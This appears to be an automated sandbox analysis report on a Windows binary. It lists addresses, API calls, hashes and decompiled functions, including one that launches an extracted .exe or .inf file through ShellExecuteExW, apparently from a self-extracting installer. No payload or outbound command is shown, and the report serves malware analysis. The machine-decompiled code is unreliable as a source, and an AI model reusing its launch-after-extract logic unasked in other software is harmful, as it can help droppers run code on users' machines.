0x0135d155
0x0135d15b
0x0135d16c
0x0135d171
0x0135d176
0x0135d1ba
0x00000000
0x0135d1ba
0x0135d176
0x00000000
0x0135d123
0x0135d133
0x0135d138
0x0135d13d
0x0135d1be
0x0135d1be
0x0135d1c1
0x0135d1c3
0x00000000
0x0135d1c3
0x0135d13f
0x00000000
0x0135d13f
0x0135d117
0x0135d10f
0x0135d208
0x0135d20b
0x0135d210
0x0135d21a
0x0135d21c
0x0135d220
0x0135d222
0x00000000
0x00000000
0x0135d239
0x0135d23e
0x0135d241
0x0135d243
0x0135d253
0x0135d254
0x0135d259
0x0135d25d
0x0135d25f
0x00000000
0x00000000
0x0135d265
0x0135d268
0x0135d26b
0x0135d26f
0x0135d275
0x0135d27a
0x0135d27e
0x0135d281
0x0135d284
0x0135d284
0x0135d289
0x0135d28b
0x0135d28d
0x0135d28d
0x0135d293
0x0135d2a3
0x0135d2a8
0x0135d2ad
0x0135d2b2
0x0135d2b6
0x0135d2b8
0x0135d2c6
0x0135d2ca
0x0135d2cc
0x0135d2ce
0x0135d2d1
0x0135d2d4
0x0135d2d6
0x0135d2d9
0x0135d3c1
0x0135d3ca
0x0135d3d2
0x0135d3da
0x0135d3e1
0x0135d3e4
0x0135d3fe
0x0135d40b
0x0135d413
0x0135d425
0x00000000
0x00000000
0x00000000
0x00000000
0x0135d3e6
0x0135d3e6
0x0135d3ea
0x0135d3f3
0x0135d3f8
0x0135d3f9
0x0135d3f9
0x00000000
0x0135d3e6
0x0135d2df
0x0135d2e6
0x0135d2ed
0x0135d2f4
0x0135d2f4
0x0135d2f7
0x0135d2f9
0x0135d5f5
0x0135d5f5
0x0135d5f9
0x0135d5fa
0x0135d5fd
0x00000000
0x00000000
0x0135d603
0x0135d607
0x0135d659
0x0135d65a
0x0135d65d
0x0135d683
0x0135d690
0x0135d695
0x0135d698
0x0135d69a
0x0135d67b
0x0135d67b
0x00000000
0x0135d67b
0x0135d661
0x0135d662
0x0135d665
0x00000000
0x00000000
0x0135d667
0x0135d667
0x0135d66d
0x00000000
0x00000000
0x0135d676
0x0135d67a
0x0135d67a
0x00000000
0x0135d67a
0x0135d609
0x0135d60f
0x00000000
0x00000000
0x0135d619
0x0135d619
0x0135d61c
0x0135d643
0x0135d645
0x0135d648
0x0135d649
0x0135d64d
0x0135d64e
0x0135d651
0x00000000
0x0135d651
0x0135d61e
0x0135d61e
0x0135d621
0x0135d63f
0x00000000
0x0135d63f
0x0135d623
0x0135d623
0x0135d626
0x0135d63b
0x00000000
0x0135d63b
0x0135d628
0x0135d628
0x0135d62b
0x0135d637
0x00000000
0x0135d637
0x0135d62e
0x0135d631
0x00000000
0x00000000
0x0135d633
0x00000000
0x0135d633
0x0135d2ff
0x0135d304
0x0135d308
0x0135d314
0x0135d316
0x0135d317
0x0135d31b
0x0135d508
0x0135d50b
0x0135d512
0x0135d517
0x0135d519
0x0135d5ef
0x0135d5ef
0x0135d5f2
0x00000000
0x0135d5f2
0x0135d52b
0x0135d53c
0x0135d541
0x0135d546
0x0135d548
0x00000000
0x00000000
0x0135d550
0x0135d563
0x0135d575
0x0135d587
0x0135d596
0x0135d5ab
0x0135d5b0
0x0135d5b3
0x0135d5b5
0x0135d5b7
0x0135d5b7
0x0135d5ba
0x0135d5c0
0x0135d5c0
0x0135d5d3
0x0135d5d3
0x0135d5d5
0x0135d5d8
0x0135d5d9
0x0135d5d9
0x0135d5dd
0x0135d5e0
0x00000000
0x00000000
0x0135d5e2
0x0135d5e2
0x0135d5e2
0x0135d5e6
0x0135d3af
0x0135d3af
0x00000000
0x0135d3af
0x0135d5ec
0x0135d5ec
0x0135d5d9
0x0135d5dd
0x0135d5e0
0x00000000
0x00000000
0x00000000
0x0135d5e0
0x0135d5d9
0x0135d321
0x0135d324
0x0135d324
0x0135d327
0x0135d32a
0x0135d331
0x0135d338
0x0135d33f
0x0135d346
0x0135d349
0x0135d35a
0x0135d361
0x0135d366
0x0135d36b
0x0135d36c
0x0135d36e
0x0135d386
0x0135d386
0x00000000
0x0135d386
0x0135d373
0x0135d375
0x0135d37a
0x00000000
0x00000000
0x0135d37c
0x0135d37e
0x0135d381
0x0135d389
0x0135d389
0x0135d38a
0x0135d38a
0x0135d38f
0x0135d392
0x0135d394
0x0135d396
0x0135d44c
0x0135d44f
0x00000000
0x00000000
0x00000000
0x00000000
0x0135d455
0x0135d455
0x0135d455
0x0135d459
0x0135d45c
0x00000000
0x00000000
0x0135d45e
0x0135d45e
0x0135d45e
0x0135d462
0x0135d467
0x0135d46a
0x0135d46f
0x0135d470
0x0135d472
0x0135d475
0x0135d496
0x0135d498
0x0135d4ad
0x0135d4b2
0x0135d4b5
0x0135d4b8
0x0135d4bb
0x0135d4de
0x0135d4e1
0x0135d4e6
0x0135d4e8
0x0135d4e8
0x0135d4fb
0x0135d500
0x0135d4bd
0x0135d4c9
0x0135d4d1
0x0135d4d6
0x0135d4d6
0x00000000
0x00000000
0x00000000
0x00000000
0x0135d477
0x0135d477
0x0135d477
0x0135d47a
0x00000000
0x00000000
0x0135d47c
0x0135d47f
0x0135d482
0x0135d48a
0x0135d48d
0x0135d48e
0x0135d491
0x00000000
0x00000000
0x00000000
0x0135d491
0x0135d493
0x00000000
0x0135d493
0x0135d464
0x0135d464
0x0135d455
0x0135d455
0x0135d459
0x0135d45c
0x00000000
0x00000000
0x00000000
0x0135d45c
0x0135d455
0x0135d3aa
0x00000000
0x0135d3aa
0x0135d30a
0x0135d30e
0x00000000
0x00000000
0x00000000
0x0135d3b2
0x0135d3b2
0x0135d3b2
0x0135d3bb
0x0135d3be
0x00000000
0x0135d2ba
0x0135d2bb
0x00000000
0x0135d2c0
0x0135d2b8
0x0135d245
0x0135d247
0x00000000
0x00000000
0x00000000
0x00000000
0x0135d080
0x0135d080
0x0135d083
0x0135d08c
0x0135d091
0x0135d092
0x0135d092
0x0135d09a
0x00000000
0x0135d09a

APIs

__EH_prolog.LIBCMT ref: 0135CFD9
_wcschr.LIBVCRUNTIME ref: 0135CFFA
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 0135D015
__fprintf_l.LIBCMT ref: 0135D4FB

Part of subcall function 01360FDE: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,0135B312,00000000,?,?,?,0004034C), ref: 01360FFA

Strings

R, xrefs: 0135D178
a, xrefs: 0135D182
$%s:, xrefs: 0135D4E1
*messages***, xrefs: 0135D166
,, xrefs: 0135D536
@%s:, xrefs: 0135D4E8, 0135D4F1
, xrefs: 0135D5E2, 0135D45E
*messages***, xrefs: 0135D12D
RTL, xrefs: 0135D4C3

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharFileH_prologModuleMultiNameWide__fprintf_l_wcschr
String ID: $ ,$$%s:$*messages***$*messages***$@%s:$R$RTL$a
API String ID: 4184910265-4124877899
Opcode ID: d46d61d2da3d28ff4ca4290c5f96f50cf63888fdf7a9117cb7af9dc6f4b5503a
Instruction ID: c020e4077b4da787429ce8b3b11edd480c89de04386554a04ecc8fc79ae4442d
Opcode Fuzzy Hash: d46d61d2da3d28ff4ca4290c5f96f50cf63888fdf7a9117cb7af9dc6f4b5503a
Instruction Fuzzy Hash: D712AFB160030A9BDB65EFA8CC44EED3BA9EF14B1CF50012AFD0997291EB71D985CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0136C190, Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 97
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0136C190(intOrPtr _a4, long _a8) {
				char _v67;
				intOrPtr _v72;
				signed int _v84;
				int _v88;
				void* _v92;
				intOrPtr _t40;
				intOrPtr _t43;
				struct HWND__* _t45;
				char _t48;

				E0136A388(); // executed
				_t45 = GetDlgItem( *0x13975c8, 0x68);
				_t48 =  *0x13975d6; // 0x1
				if(_t48 == 0) {
					_t43 =  *0x13975e8; // 0x0
					E01368569(_t43);
					ShowWindow(_t45, 5); // executed
					SendMessageW(_t45, 0xb1, 0, 0xffffffff);
					SendMessageW(_t45, 0xc2, 0, 0x13822e4);
					 *0x13975d6 = 1;
				}
				SendMessageW(_t45, 0xb1, 0x5f5e100, 0x5f5e100);
				_v92 = 0x5c;
				SendMessageW(_t45, 0x43a, 0,  &_v92);
				_v67 = 0;
				_t40 = _a4;
				_v88 = 1;
				if(_t40 != 0) {
					_v72 = 0xa0;
					_v88 = 0x40000001;
					_v84 = _v84 & 0xbfffffff | 1;
				}
				SendMessageW(_t45, 0x444, 1,  &_v92);
				SendMessageW(_t45, 0xc2, 0, _a8);
				SendMessageW(_t45, 0xb1, 0x5f5e100, 0x5f5e100);
				if(_t40 != 0) {
					_v84 = _v84 & 0xfffffffe | 0x40000000;
					SendMessageW(_t45, 0x444, 1,  &_v92);
				}
				return SendMessageW(_t45, 0xc2, 0, L"\r\n");
			}

0x0136c197
0x0136c1b2
0x0136c1b9
0x0136c1bf
0x0136c1c1
0x0136c1c7
0x0136c1cf
0x0136c1de
0x0136c1e8
0x0136c1ea
0x0136c1ea
0x0136c1fe
0x0136c204
0x0136c214
0x0136c218
0x0136c21c
0x0136c221
0x0136c227
0x0136c232
0x0136c23c
0x0136c244
0x0136c244
0x0136c254
0x0136c25e
0x0136c26d
0x0136c271
0x0136c27f
0x0136c290
0x0136c290
0x0136c2a4

APIs

Part of subcall function 0136A388: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0136A399
Part of subcall function 0136A388: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0136A3AA
Part of subcall function 0136A388: IsDialogMessageW.USER32(0004034C,?), ref: 0136A3BE
Part of subcall function 0136A388: TranslateMessage.USER32(?), ref: 0136A3CC
Part of subcall function 0136A388: DispatchMessageW.USER32(?), ref: 0136A3D6

GetDlgItem.USER32(00000068,013ADE38), ref: 0136C1A4
ShowWindow.USER32(00000000,00000005,?,?,?,?,?,?,?,?,?,?,?,?,?,01369D8F), ref: 0136C1CF
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 0136C1DE
SendMessageW.USER32(00000000,000000C2,00000000,013822E4), ref: 0136C1E8
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 0136C1FE
SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 0136C214
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 0136C254
SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 0136C25E
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 0136C26D
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 0136C290
SendMessageW.USER32(00000000,000000C2,00000000,0138304C), ref: 0136C29B

Strings

\, xrefs: 0136C204

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: Message$Send$DialogDispatchItemPeekShowTranslateWindow
String ID: \
API String ID: 3569833718-2967466578
Opcode ID: 13663f4643a52bbd7eb8ee0c5d54b411abe897fe4897135073c1402485e87825
Instruction ID: 673be760fd42c185b2c9e6cf2f25e058b3004c988fc3d6ce8977338d15ee6d2b
Opcode Fuzzy Hash: 13663f4643a52bbd7eb8ee0c5d54b411abe897fe4897135073c1402485e87825
Instruction Fuzzy Hash: A521F8712457447BE321FB249C41FAF7F9CEF82758F000619FA90961C5C7A559098BBB

Uniqueness

Uniqueness Score: -1.00%

Function 0136C431, Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 179
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E0136C431(struct _SHELLEXECUTEINFOW _a4, char* _a8, char* _a16, signed short* _a20, signed short* _a24, int _a32, void* _a48, char _a52, intOrPtr _a56, char _a64, struct HWND__* _a4160, signed short* _a4168, intOrPtr _a4172) {
				signed short _v0;
				long _v12;
				void* __edi;
				int _t54;
				signed int _t57;
				signed short* _t58;
				long _t68;
				int _t77;
				signed int _t80;
				signed short* _t81;
				signed short _t82;
				intOrPtr _t84;
				long _t86;
				signed short* _t87;
				struct HWND__* _t89;
				signed short* _t91;
				void* _t93;
				void* _t95;
				void* _t99;

				_t54 = 0x1040;
				E0136D940();
				_t91 = _a4168;
				_t77 = 0;
				if( *_t91 == 0) {
					L55:
					return _t54;
				}
				_t54 = E01372B33(_t91);
				if(0x1040 >= 0x7f6) {
					goto L55;
				} else {
					_t86 = 0x3c;
					E0136E920(_t86,  &_a4, 0, _t86);
					_t84 = _a4172;
					_t99 = _t99 + 0xc;
					_a4.cbSize = _t86;
					_a8 = 0x1c0;
					if(_t84 != 0) {
						_a8 = 0x5c0;
					}
					_t80 =  *_t91 & 0x0000ffff;
					_t87 =  &(_t91[1]);
					_t95 = 0x22;
					if(_t80 != _t95) {
						_t87 = _t91;
					}
					_a20 = _t87;
					_t57 = _t77;
					if(_t80 == 0) {
						L13:
						_t58 = _a24;
						L14:
						if(_t58 == 0 ||  *_t58 == _t77) {
							if(_t84 == 0 &&  *0x139a602 != _t77) {
								_a24 = 0x139a602;
							}
						}
						_a32 = 1;
						_t93 = E0135B153(_t87);
						if(_t93 != 0 && E01361410(_t93, L".inf") == 0) {
							_a16 = L"Install";
						}
						if(E01359E6B(_a20) != 0) {
							_push(0x800);
							_push( &_a64);
							_push(_a20);
							E0135AED7();
							_a8 =  &_a52;
						}
						_t54 = ShellExecuteExW( &_a4); // executed
						if(_t54 != 0) {
							_t89 = _a4160;
							if( *0x13985f8 != _t77 || _a4168 != _t77 ||  *0x13ade21 != _t77) {
								if(_t89 != 0) {
									_push(_t89);
									if( *0x138df24() != 0) {
										ShowWindow(_t89, _t77);
										_t77 = 1;
									}
								}
								 *0x138df20(_a56, 0x7d0);
								E0136C8F0(_a48);
								if( *0x13ade21 != 0 && _a4160 == 0 && GetExitCodeProcess(_a48,  &_v12) != 0) {
									_t68 = _v12;
									if(_t68 >  *0x13ade24) {
										 *0x13ade24 = _t68;
									}
									 *0x13ade22 = 1;
								}
							}
							CloseHandle(_a48);
							if(_t93 == 0 || E01361410(_t93, L".exe") != 0) {
								_t54 = _a4160;
								if( *0x13985f8 != 0 && _t54 == 0 &&  *0x13ade21 == _t54) {
									 *0x13ade28 = 0x1b58;
								}
							} else {
								_t54 = _a4160;
							}
							if(_t77 != 0 && _t54 != 0) {
								_t54 = ShowWindow(_t89, 1);
							}
						}
						goto L55;
					}
					_t81 = _t91;
					_v0 = 0x20;
					do {
						if( *_t81 == _t95) {
							while(1) {
								_t57 = _t57 + 1;
								if(_t91[_t57] == _t77) {
									break;
								}
								if(_t91[_t57] == _t95) {
									_t82 = _v0;
									_t91[_t57] = _t82;
									L10:
									if(_t91[_t57] == _t82 ||  *((short*)(_t91 + 2 + _t57 * 2)) == 0x2f) {
										if(_t91[_t57] == _v0) {
											_t91[_t57] = 0;
										}
										_t58 =  &(_t91[_t57 + 1]);
										_a24 = _t58;
										goto L14;
									} else {
										goto L12;
									}
								}
							}
						}
						_t82 = _v0;
						goto L10;
						L12:
						_t57 = _t57 + 1;
						_t81 =  &(_t91[_t57]);
					} while ( *_t81 != _t77);
					goto L13;
				}
			}

0x0136c431
0x0136c436
0x0136c43d
0x0136c444
0x0136c449
0x0136c695
0x0136c69d
0x0136c69d
0x0136c450
0x0136c45b
0x00000000
0x0136c461
0x0136c464
0x0136c46c
0x0136c471
0x0136c478
0x0136c47b
0x0136c47f
0x0136c489
0x0136c48b
0x0136c48b
0x0136c493
0x0136c496
0x0136c49c
0x0136c4a0
0x0136c4a2
0x0136c4a2
0x0136c4a4
0x0136c4a8
0x0136c4ad
0x0136c4e5
0x0136c4e5
0x0136c4e9
0x0136c4eb
0x0136c4f4
0x0136c4ff
0x0136c4ff
0x0136c4f4
0x0136c508
0x0136c515
0x0136c519
0x0136c52a
0x0136c52a
0x0136c53d
0x0136c53f
0x0136c548
0x0136c549
0x0136c54d
0x0136c556
0x0136c556
0x0136c55f
0x0136c567
0x0136c56d
0x0136c580
0x0136c595
0x0136c597
0x0136c5a0
0x0136c5a4
0x0136c5a6
0x0136c5a6
0x0136c5a0
0x0136c5b1
0x0136c5bb
0x0136c5c7
0x0136c5e6
0x0136c5f0
0x0136c5f2
0x0136c5f2
0x0136c5f7
0x0136c5f7
0x0136c5c7
0x0136c602
0x0136c60a
0x0136c622
0x0136c629
0x0136c637
0x0136c637
0x0136c67f
0x0136c67f
0x0136c67f
0x0136c688
0x0136c691
0x0136c691
0x0136c688
0x00000000
0x0136c694
0x0136c4af
0x0136c4b1
0x0136c4b9
0x0136c4bc
0x0136c649
0x0136c649
0x0136c64e
0x00000000
0x00000000
0x0136c647
0x0136c655
0x0136c659
0x0136c4c6
0x0136c4ca
0x0136c66a
0x0136c66e
0x0136c66e
0x0136c673
0x0136c676
0x00000000
0x00000000
0x00000000
0x00000000
0x0136c4ca
0x0136c647
0x0136c650
0x0136c4c2
0x00000000
0x0136c4dc
0x0136c4dc
0x0136c4dd
0x0136c4e0
0x00000000
0x0136c4b9

APIs

ShellExecuteExW.SHELL32(000001C0), ref: 0136C55F
ShowWindow.USER32(?,00000000,?,?,?,?,?,?,?), ref: 0136C5A4
GetExitCodeProcess.KERNEL32 ref: 0136C5DC
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0136C602
ShowWindow.USER32(?,00000001,?,?,?,?,?,?,?), ref: 0136C691

Part of subcall function 01361410: CompareStringW.KERNEL32(00000400,00001001,00000000,000000FF,?,000000FF,0135ACFE,?,?,?,0135ACAD,?,-00000002,?,00000000,?), ref: 01361426

Strings

.exe, xrefs: 0136C60C
, xrefs: 0136C4B1
.inf, xrefs: 0136C51B

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: ShowWindow$CloseCodeCompareExecuteExitHandleProcessShellString
String ID: $.exe$.inf
API String ID: 3686203788-2452507128
Opcode ID: 36d86a0676429957b49cd40a09b30415d51cfce218ff9ffa65ce8c38ab35b147
Instruction ID: fa8bcc2f9a1f40689a6319ef984452597b289249eca1028aefea365ea4855a16
Opcode Fuzzy Hash: 36d86a0676429957b49cd40a09b30415d51cfce218ff9ffa65ce8c38ab35b147
Instruction Fuzzy Hash: E0512770404381DAEB32DF69D904A7BBBFCAF8530CF08A81DE6C597149D7B19948CB96

Uniqueness

Uniqueness Score: -1.00%

Function 013795A5, Relevance: 9.2, APIs: 6, Instructions: 216
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E013795A5(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr* _a4, intOrPtr _a8, signed int _a12, char* _a16, int _a20, intOrPtr _a24, short* _a28, int _a32, intOrPtr _a36) {
				signed int _v8;
				int _v12;
				void* _v24;
				signed int _t49;
				signed int _t54;
				int _t57;
				signed int _t59;
				short* _t61;
				signed int _t65;
				short* _t69;
				int _t77;
				short* _t80;
				signed int _t86;
				signed int _t89;
				void* _t94;
				void* _t95;
				int _t97;
				short* _t100;
				int _t102;
				int _t104;
				signed int _t105;
				short* _t106;
				void* _t109;

				_push(__ecx);
				_push(__ecx);
				_t49 =  *0x138d668; // 0xea6a5ad2
				_v8 = _t49 ^ _t105;
				_push(__esi);
				_t102 = _a20;
				if(_t102 > 0) {
					_t77 = E0137DBBC(_a16, _t102);
					_t109 = _t77 - _t102;
					_t4 = _t77 + 1; // 0x1
					_t102 = _t4;
					if(_t109 >= 0) {
						_t102 = _t77;
					}
				}
				_t97 = _a32;
				if(_t97 == 0) {
					_t97 =  *( *_a4 + 8);
					_a32 = _t97;
				}
				_t54 = MultiByteToWideChar(_t97, 1 + (0 | _a36 != 0x00000000) * 8, _a16, _t102, 0, 0);
				_v12 = _t54;
				if(_t54 == 0) {
					L38:
					return E0136E203(_t54, _v8 ^ _t105);
				} else {
					_t94 = _t54 + _t54;
					_t84 = _t94 + 8;
					asm("sbb eax, eax");
					if((_t94 + 0x00000008 & _t54) == 0) {
						_t80 = 0;
						__eflags = 0;
						L14:
						if(_t80 == 0) {
							L36:
							_t104 = 0;
							L37:
							E0137980D(_t80);
							_t54 = _t104;
							goto L38;
						}
						_t57 = MultiByteToWideChar(_t97, 1, _a16, _t102, _t80, _v12);
						_t120 = _t57;
						if(_t57 == 0) {
							goto L36;
						}
						_t99 = _v12;
						_t59 = E01379C64(_t84, _t102, _t120, _a8, _a12, _t80, _v12, 0, 0, 0, 0, 0); // executed
						_t104 = _t59;
						if(_t104 == 0) {
							goto L36;
						}
						if((_a12 & 0x00000400) == 0) {
							_t95 = _t104 + _t104;
							_t86 = _t95 + 8;
							__eflags = _t95 - _t86;
							asm("sbb eax, eax");
							__eflags = _t86 & _t59;
							if((_t86 & _t59) == 0) {
								_t100 = 0;
								__eflags = 0;
								L30:
								__eflags = _t100;
								if(__eflags == 0) {
									L35:
									E0137980D(_t100);
									goto L36;
								}
								_t61 = E01379C64(_t86, _t104, __eflags, _a8, _a12, _t80, _v12, _t100, _t104, 0, 0, 0);
								__eflags = _t61;
								if(_t61 == 0) {
									goto L35;
								}
								_push(0);
								_push(0);
								__eflags = _a28;
								if(_a28 != 0) {
									_push(_a28);
									_push(_a24);
								} else {
									_push(0);
									_push(0);
								}
								_t104 = WideCharToMultiByte(_a32, 0, _t100, _t104, ??, ??, ??, ??);
								__eflags = _t104;
								if(_t104 != 0) {
									E0137980D(_t100);
									goto L37;
								} else {
									goto L35;
								}
							}
							_t89 = _t95 + 8;
							__eflags = _t95 - _t89;
							asm("sbb eax, eax");
							_t65 = _t59 & _t89;
							_t86 = _t95 + 8;
							__eflags = _t65 - 0x400;
							if(_t65 > 0x400) {
								__eflags = _t95 - _t86;
								asm("sbb eax, eax");
								_t100 = E01377A8A(_t86, _t65 & _t86);
								_pop(_t86);
								__eflags = _t100;
								if(_t100 == 0) {
									goto L35;
								}
								 *_t100 = 0xdddd;
								L28:
								_t100 =  &(_t100[4]);
								goto L30;
							}
							__eflags = _t95 - _t86;
							asm("sbb eax, eax");
							E01380EE0();
							_t100 = _t106;
							__eflags = _t100;
							if(_t100 == 0) {
								goto L35;
							}
							 *_t100 = 0xcccc;
							goto L28;
						}
						_t69 = _a28;
						if(_t69 == 0) {
							goto L37;
						}
						_t124 = _t104 - _t69;
						if(_t104 > _t69) {
							goto L36;
						}
						_t104 = E01379C64(0, _t104, _t124, _a8, _a12, _t80, _t99, _a24, _t69, 0, 0, 0);
						if(_t104 != 0) {
							goto L37;
						}
						goto L36;
					}
					asm("sbb eax, eax");
					_t71 = _t54 & _t94 + 0x00000008;
					_t84 = _t94 + 8;
					if((_t54 & _t94 + 0x00000008) > 0x400) {
						__eflags = _t94 - _t84;
						asm("sbb eax, eax");
						_t80 = E01377A8A(_t84, _t71 & _t84);
						_pop(_t84);
						__eflags = _t80;
						if(__eflags == 0) {
							goto L36;
						}
						 *_t80 = 0xdddd;
						L12:
						_t80 =  &(_t80[4]);
						goto L14;
					}
					asm("sbb eax, eax");
					E01380EE0();
					_t80 = _t106;
					if(_t80 == 0) {
						goto L36;
					}
					 *_t80 = 0xcccc;
					goto L12;
				}
			}

0x013795aa
0x013795ab
0x013795ac
0x013795b3
0x013795b7
0x013795b8
0x013795be
0x013795c4
0x013795ca
0x013795cd
0x013795cd
0x013795d0
0x013795d2
0x013795d2
0x013795d0
0x013795d4
0x013795d9
0x013795e0
0x013795e3
0x013795e3
0x013795ff
0x01379605
0x0137960a
0x0137979d
0x013797b0
0x01379610
0x01379610
0x01379613
0x01379618
0x0137961c
0x01379670
0x01379670
0x01379672
0x01379674
0x01379792
0x01379792
0x01379794
0x01379795
0x0137979b
0x00000000
0x0137979b
0x01379685
0x0137968b
0x0137968d
0x00000000
0x00000000
0x01379693
0x013796a5
0x013796aa
0x013796ae
0x00000000
0x00000000
0x013796bb
0x013796f5
0x013796f8
0x013796fb
0x013796fd
0x013796ff
0x01379701
0x0137974d
0x0137974d
0x0137974f
0x0137974f
0x01379751
0x0137978b
0x0137978c
0x00000000
0x01379791
0x01379765
0x0137976a
0x0137976c
0x00000000
0x00000000
0x01379770
0x01379771
0x01379772
0x01379775
0x013797b1
0x013797b4
0x01379777
0x01379777
0x01379778
0x01379778
0x01379785
0x01379787
0x01379789
0x013797ba
0x00000000
0x00000000
0x00000000
0x00000000
0x01379789
0x01379703
0x01379706
0x01379708
0x0137970a
0x0137970c
0x0137970f
0x01379714
0x0137972f
0x01379731
0x0137973b
0x0137973d
0x0137973e
0x01379740
0x00000000
0x00000000
0x01379742
0x01379748
0x01379748
0x00000000
0x01379748
0x01379716
0x01379718
0x0137971c
0x01379721
0x01379723
0x01379725
0x00000000
0x00000000
0x01379727
0x00000000
0x01379727
0x013796bd
0x013796c2
0x00000000
0x00000000
0x013796c8
0x013796ca
0x00000000
0x00000000
0x013796e6
0x013796ea
0x00000000
0x00000000
0x00000000
0x013796f0
0x01379623
0x01379625
0x01379627
0x0137962f
0x0137964e
0x01379650
0x0137965a
0x0137965c
0x0137965d
0x0137965f
0x00000000
0x00000000
0x01379665
0x0137966b
0x0137966b
0x00000000
0x0137966b
0x01379633
0x01379637
0x0137963c
0x01379640
0x00000000
0x00000000
0x01379646
0x00000000
0x01379646

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,0137451B,0137451B,?,?,?,013797F6,00000001,00000001,31E85006), ref: 013795FF
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,013797F6,00000001,00000001,31E85006,?,?,?), ref: 01379685
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,31E85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 0137977F
__freea.LIBCMT ref: 0137978C

Part of subcall function 01377A8A: RtlAllocateHeap.NTDLL(00000000,?,?,?,01372FA6,?,0000015D,?,?,?,?,01374482,000000FF,00000000,?,?), ref: 01377ABC

__freea.LIBCMT ref: 01379795
__freea.LIBCMT ref: 013797BA

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: 4651d0ec0e685217acb02f75c89f6ef5fa02cb1a52191ca225a22bd2baafdb04
Instruction ID: 7ccde3349c4e488d9277a1b610eb73d87afaa86d005e43ab968570daf8f14d73
Opcode Fuzzy Hash: 4651d0ec0e685217acb02f75c89f6ef5fa02cb1a52191ca225a22bd2baafdb04
Instruction Fuzzy Hash: 7D519272600256AAEB359E68CC81FABBBADEB4467CF154729E905D6140EB38DC40C790

Uniqueness

Uniqueness Score: -1.00%

Function 01369A32, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E01369A32(long _a4) {
				short _v164;
				long _t5;
				long _t6;
				WCHAR* _t9;
				long _t11;

				_t11 = _a4;
				_t5 = GetClassNameW(_t11,  &_v164, 0x50);
				if(_t5 != 0) {
					_t9 = L"EDIT";
					_t5 = E01361410( &_v164, _t9);
					if(_t5 != 0) {
						_t5 = FindWindowExW(_t11, 0, _t9, 0); // executed
						_t11 = _t5;
					}
				}
				if(_t11 != 0) {
					_t6 = SHAutoComplete(_t11, 0x10); // executed
					return _t6;
				}
				return _t5;
			}

0x01369a42
0x01369a49
0x01369a51
0x01369a54
0x01369a61
0x01369a68
0x01369a70
0x01369a76
0x01369a76
0x01369a78
0x01369a7b
0x01369a80
0x00000000
0x01369a80
0x01369a8a

APIs

GetClassNameW.USER32(?,?,00000050), ref: 01369A49
SHAutoComplete.SHLWAPI(?,00000010), ref: 01369A80

